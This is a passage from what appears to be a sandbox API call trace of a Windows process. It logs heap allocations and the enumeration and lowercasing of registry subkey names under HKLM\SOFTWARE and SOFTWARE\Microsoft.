lpMultiByteStr=0xa9bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0136.736] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9bca0 [0136.736] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bc58) returned 1 [0136.736] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bca0) returned 1 [0136.736] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.736] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x3bf85c | out: phkResult=0x3bf85c*=0xa0) returned 0x0 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x184) returned 0xa9d040 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9bca0 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9bc58 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9bce8 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9bd30 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9bd78 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9bdc0 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9be08 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9be50 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9be98 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9bee0 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9bf28 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9bf70 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9bfb8 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c000 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c048 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c090 [0136.737] RegCloseKey (hKey=0x80000002) returned 0x0 [0136.737] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0xa9b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0xa9c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.737] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.737] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.737] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.737] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0xa9b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0xa9c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0136.737] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.737] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.738] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.738] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.738] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0xa9b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0136.738] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.738] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0xa9c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0136.738] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.738] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.738] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.738] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.738] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0xa9b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0136.738] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.738] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0xa9c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0136.738] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.738] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.738] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.738] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.738] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0xa9b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0136.738] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.738] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0xa9c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0136.738] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.738] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.738] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.739] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.739] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0xa9b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0136.739] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.739] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0xa9c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0136.739] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.739] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.739] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.739] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.739] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0xa9b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0136.739] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0136.739] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0xa9c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0136.739] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.739] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.739] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.739] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.739] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x3bf85c | out: phkResult=0x3bf85c*=0x24) returned 0x0 [0136.739] RegCloseKey (hKey=0xa0) returned 0x0 [0136.739] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0xa9b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0136.739] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0136.739] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0xa9c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0136.740] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.740] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.740] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.740] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.740] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0xa9b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0136.740] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.740] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0xa9c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0136.740] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.740] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.740] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.740] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.740] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0xa9b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0136.740] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.740] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0xa9c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0136.740] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.740] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.740] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.740] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.740] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0xa9b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0136.740] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0136.740] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0xa9c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0136.740] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.741] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.741] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.741] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.741] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0xa9b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0136.741] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.741] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0xa9c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0136.741] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.741] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.741] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.741] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.741] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0xa9b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0136.741] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.741] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0xa9c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0136.741] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.741] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.741] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.741] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.741] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0xa9b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0136.741] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.741] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0xa9c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0136.741] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.741] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.741] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.741] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.741] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0xa9b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0136.741] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.742] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0xa9c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0136.742] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.742] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.742] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.742] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.742] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0xa9b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0136.742] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0136.742] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0xa9c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0136.742] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.742] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.742] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.742] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.742] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0xa9b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0136.742] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0136.742] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0xa9c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0136.742] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.742] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.742] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.742] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.742] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0xa9b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0136.742] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0136.742] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0xa9c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0136.742] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.742] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.742] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.742] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.743] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0xa9b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0136.743] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.743] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0xa9c0d8, 